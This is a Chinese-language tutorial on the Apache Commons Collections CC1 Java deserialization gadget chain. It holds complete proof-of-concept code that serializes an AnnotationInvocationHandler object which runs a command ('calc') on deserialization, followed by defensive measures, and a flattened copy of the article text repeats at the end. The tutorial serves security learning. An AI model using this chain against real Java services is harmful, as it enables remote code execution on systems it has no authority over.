JAVA安全--cc1学习(新手可阅)
字数 1638 2025-08-22 12:23:41

Apache Commons Collections CC1链分析与利用

前言

Apache Commons Collections是一个由Apache软件基金会提供的开源Java库,它为Java标准集合API提供了丰富的扩展和补充。在Java安全领域中,CC链(Commons Collections链)是必须学习的内容,本文详细分析CC1链的构造原理和利用方式。

环境准备

  • Commons Collections版本:<= 3.2.1
  • JDK版本:< 8u71(推荐使用8u66)

Maven依赖配置:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

关键组件分析

Transformer接口

漏洞的起点是Transformer接口,它定义了一个transform抽象方法。我们需要关注几个实现了该接口的关键类:

1. ConstantTransformer

构造方法

  • 将传入对象赋予给成员属性iConstant

transform方法

  • 直接返回iConstant的值,忽略传入参数

2. ChainedTransformer

构造方法

  • 传入一个Transformer类型数组,赋值给成员属性iTransformers

transform方法

  • 遍历Transformer数组
  • 将前一个transform方法的返回值作为下一个transform方法的输入参数
  • 循环执行直到数组遍历完成

3. InvokerTransformer

构造方法

  • 传入三个参数:
    • iMethodName:方法名
    • iParamTypes:参数类型数组
    • iArgs:参数值数组

transform方法

  • 通过反射获取传入对象的类
  • 获取指定方法(由iMethodName控制)
  • 使用指定参数类型(由iParamTypes控制)
  • 执行方法并传入参数(由iArgs控制)

命令执行构造

利用上述三个类可以构造命令执行链:

import org.apache.commons.collections.functors.InvokerTransformer;

public class test1 {
    public static void main(String[] args) {
        new InvokerTransformer("exec", 
            new Class[]{String.class}, 
            new Object[]{"calc"})
        .transform(Runtime.getRuntime());
    }
}

等效的反射代码:

import java.lang.reflect.*;

public class test {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        Class<? extends Runtime> aClass = runtime.getClass();
        Method exec = aClass.getMethod("exec", String.class);
        exec.invoke(runtime,"calc");
    }
}

完整链构造

构造完整的Transformer链:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class), // 获取Runtime类
    new InvokerTransformer("getMethod", 
        new Class[]{String.class,Class[].class}, 
        new Object[]{"getRuntime",null}), // 获取getRuntime方法
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}), // 调用getRuntime()
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"}) // 执行calc命令
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

执行流程:

  1. 获取Runtime字节码
  2. 获取getRuntime方法
  3. 调用getRuntime()获取Runtime实例
  4. 执行exec("calc")命令

触发点分析

TransformedMap

TransformedMap的构造方法是private的,但可以通过decorate方法创建实例:

Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)

checkSetValue方法会调用传入的Transformertransform方法。

AnnotationInvocationHandler

AnnotationInvocationHandler实现了Serializable接口,是反序列化的入口点。其readObject方法会调用setValue,进而触发checkSetValue

关键点:

  • 构造方法第一个参数type需要设置为Target.class
  • Map中的key需要设置为"value"以绕过检查

完整利用代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cctest {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc1.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, null}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","1");
        
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
        
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);
        
        serialize(o);
        deserialize("cc1.bin");
    }
}

利用链总结

  1. 反序列化AnnotationInvocationHandler对象
  2. 触发readObject方法
  3. 调用TransformedMapsetValue方法
  4. 触发checkSetValue方法
  5. 调用ChainedTransformertransform方法
  6. 依次执行ConstantTransformerInvokerTransformer
  7. 最终通过反射执行命令

注意事项

  1. JDK版本必须低于8u71,高版本有修复
  2. AnnotationInvocationHandler是sun包下的类,不同JDK实现可能不同
  3. 构造Map时需要设置key为"value"以绕过检查

防御措施

  1. 升级Commons Collections到安全版本
  2. 升级JDK到8u71及以上版本
  3. 对反序列化操作进行严格管控
  4. 使用安全管理器限制危险操作
Apache Commons Collections CC1链分析与利用 前言 Apache Commons Collections是一个由Apache软件基金会提供的开源Java库,它为Java标准集合API提供了丰富的扩展和补充。在Java安全领域中,CC链(Commons Collections链)是必须学习的内容,本文详细分析CC1链的构造原理和利用方式。 环境准备 Commons Collections版本: <= 3.2.1 JDK版本: < 8u71(推荐使用8u66) Maven依赖配置: 关键组件分析 Transformer接口 漏洞的起点是 Transformer 接口,它定义了一个 transform 抽象方法。我们需要关注几个实现了该接口的关键类: 1. ConstantTransformer 构造方法 : 将传入对象赋予给成员属性 iConstant transform方法 : 直接返回 iConstant 的值,忽略传入参数 2. ChainedTransformer 构造方法 : 传入一个 Transformer 类型数组,赋值给成员属性 iTransformers transform方法 : 遍历 Transformer 数组 将前一个 transform 方法的返回值作为下一个 transform 方法的输入参数 循环执行直到数组遍历完成 3. InvokerTransformer 构造方法 : 传入三个参数: iMethodName :方法名 iParamTypes :参数类型数组 iArgs :参数值数组 transform方法 : 通过反射获取传入对象的类 获取指定方法(由 iMethodName 控制) 使用指定参数类型(由 iParamTypes 控制) 执行方法并传入参数(由 iArgs 控制) 命令执行构造 利用上述三个类可以构造命令执行链: 等效的反射代码: 完整链构造 构造完整的Transformer链: 执行流程: 获取Runtime字节码 获取getRuntime方法 调用getRuntime()获取Runtime实例 执行exec("calc")命令 触发点分析 TransformedMap TransformedMap 的构造方法是private的,但可以通过 decorate 方法创建实例: checkSetValue 方法会调用传入的 Transformer 的 transform 方法。 AnnotationInvocationHandler AnnotationInvocationHandler 实现了 Serializable 接口,是反序列化的入口点。其 readObject 方法会调用 setValue ,进而触发 checkSetValue 。 关键点: 构造方法第一个参数 type 需要设置为 Target.class Map中的key需要设置为"value"以绕过检查 完整利用代码 利用链总结 反序列化 AnnotationInvocationHandler 对象 触发 readObject 方法 调用 TransformedMap 的 setValue 方法 触发 checkSetValue 方法 调用 ChainedTransformer 的 transform 方法 依次执行 ConstantTransformer 和 InvokerTransformer 链 最终通过反射执行命令 注意事项 JDK版本必须低于8u71,高版本有修复 AnnotationInvocationHandler 是sun包下的类,不同JDK实现可能不同 构造Map时需要设置key为"value"以绕过检查 防御措施 升级Commons Collections到安全版本 升级JDK到8u71及以上版本 对反序列化操作进行严格管控 使用安全管理器限制危险操作